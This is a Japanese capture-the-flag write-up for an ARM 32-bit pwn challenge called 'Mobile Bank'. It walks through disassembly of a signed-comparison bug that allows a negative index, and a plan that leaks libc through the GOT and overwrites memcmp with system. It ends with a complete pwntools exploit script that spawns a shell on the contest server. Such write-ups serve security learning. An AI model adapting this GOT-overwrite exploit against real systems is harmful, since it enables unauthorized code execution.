ARM問のwrite-up
Mobile Bank
_._._ _._._
_| |_ _| |_
| ... |_._._._._._._._._._._| ... |
| ||| | o NATIONAL BANK o | ||| |
| """ | """ """ """ | """ |
()) |[-|-]| [-|-] [-|-] [-|-] |[-|-]| ())
(())) | |---------------------| | (()))
(())())| """ | """ """ """ | """ |(())())
(()))()|[-|-]| ::: .-"-. ::: |[-|-]|(()))()
()))(()| | |~|~| |_|_| |~|~| | |()))(()
|| |_____|_|_|_|__|_|_|__|_|_|_|_____| ||
~ ~^^ @@@@@@@@@@@@@@/=======\@@@@@@@@@@@@@@ ^^~ ~
^~^~ ~^~^
問題はバイナリがひとつだけで,libcは与えられない.
$ file mobile_bank
mobile_bank: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=06a8621f9bed9d7b59bf64d2fd86cd57ba322791, stripped
$ checksec --file mobile_bank
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 6mobile_bank
$
fileコマンドの出力からARMの32bitのバイナリであるとわかる.
stringsをした感じ,問題サーバはraspberry piの可能性が高いので,こちらもrapberry piでバイナリを動かす.
解析
静的解析はobjdumpで逆アセンブルを出力してテキストエディタで編集しながら読んだ.
有料版のIDA Pro欲しい.
バグ
<set_id>:
10c94: e92d4800 push {fp, lr}
10c98: e28db004 add fp, sp, #4
10c9c: e24dd008 sub sp, sp, #8
10ca0: e59f0038 ldr r0, [pc, #56] ; 10ce0 <__gmon_start__@plt+0x4c0>
10ca4: ebfffeaa bl 10754 <printf@plt>
10ca8: eb00015d bl 11224 <read_int>
10cac: e1a03000 mov r3, r0
10cb0: e50b3008 str r3, [fp, #-8]
10cb4: e51b3008 ldr r3, [fp, #-8]
10cb8: e353000f cmp r3, #15
10cbc: da000002 ble 10ccc <__gmon_start__@plt+0x4ac> ; BUG
10cc0: e59f001c ldr r0, [pc, #28] ; 10ce4 <__gmon_start__@plt+0x4c4>
10cc4: ebfffea5 bl 10760 <puts@plt>
10cc8: ea000002 b 10cd8 <__gmon_start__@plt+0x4b8>
10ccc: e51b3008 ldr r3, [fp, #-8]
10cd0: e59f2010 ldr r2, [pc, #16] ; 10ce8 <__gmon_start__@plt+0x4c8>
10cd4: e5823000 str r3, [r2]
10cd8: e24bd004 sub sp, fp, #4
10cdc: e8bd8800 pop {fp, pc}
IDを設定する関数にバグがあり,負の数をIDに設定できる.
真ん中あたりの条件分岐が符号付きになっている.
このプログラムは様々な情報をグローバル変数の配列で持っていて,IDはインデックスの役割をしてるので,マイナスが設定できると,配列より上のメモリ領域にアクセスできる.
グローバル変数より上にあるのはGlobal Offset Tableなので,libcがわかっていればGOTの読み出しからのsystemに書き換えでシェルが取れる.
libc
手元の環境とコンパイラは同じはずなのになぜかlibcは違った.
debianパッケージのwebサイトから問題サーバと同じlibcが入手出来た.
攻撃の流れ
1.set account id
でIDを-12に設定する.
2.print account info
でclose
のアドレスがわかる
3.close
のアドレスからsystem
のアドレスを求める
4.set account id
でIDを-7に設定する
5.print account info
でmemcmp
のGOTの初期値を調べる
6.make transaction
でmemcmp
をsystem
に書き換える
7.enable debug
でsystem("sh;...");
を呼ぶ
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import sys
binary_file = './mobile_bank'
#libc_file = './libc.so.6'
libc_file = './libc-2.24.so'
context.arch = 'arm'
context.os = 'linux'
context.terminal = ['tmux', 'split-window', '-h']
binary = ELF(binary_file)
libc = ELF(libc_file)
def recv_menu(tube, selector):
tube.recvuntil('choice: ')
tube.sendline(str(selector))
def set_id(tube, _id):
recv_menu(tube, 2)
tube.sendline(str(_id))
def make_transaction(tube, value):
recv_menu(tube, 4)
tube.recvuntil('value: ')
tube.sendline(str(value))
def account_info(tube):
recv_menu(tube, 5)
tube.recvuntil('value: ')
value = int(tube.recvuntil('$')[:-1])
#return 2**32 + value if value < 0 else value
return value
def enable_debug(tube, password):
recv_menu(tube, 6)
tube.recvuntil('password: ')
tube.send(password)
def main():
if len(sys.argv) == 2 and sys.argv[1] == '--local':
tube = remote('raspberrypi', 23456)
elif len(sys.argv) == 2 and sys.argv[1] == '--remote':
tube = remote('pwn-04.v7frkwrfyhsjtbpfcppnu.ctfz.one', 1337)
else:
tube = remote('raspberrypi', 12345)
set_id(tube, -12) # close
#close_addr = 2**32 - account_info(tube)
close_addr = account_info(tube)
libc_base = close_addr - libc.symbols['close']
log.info(hex(libc_base))
set_id(tube, -7) # memcmp
default_value = account_info(tube)
log.info(hex(default_value))
system_addr = libc_base + libc.symbols['system']
make_transaction(tube, system_addr - default_value)
enable_debug(tube, 'sh;')
tube.interactive()
if __name__ == '__main__':
main()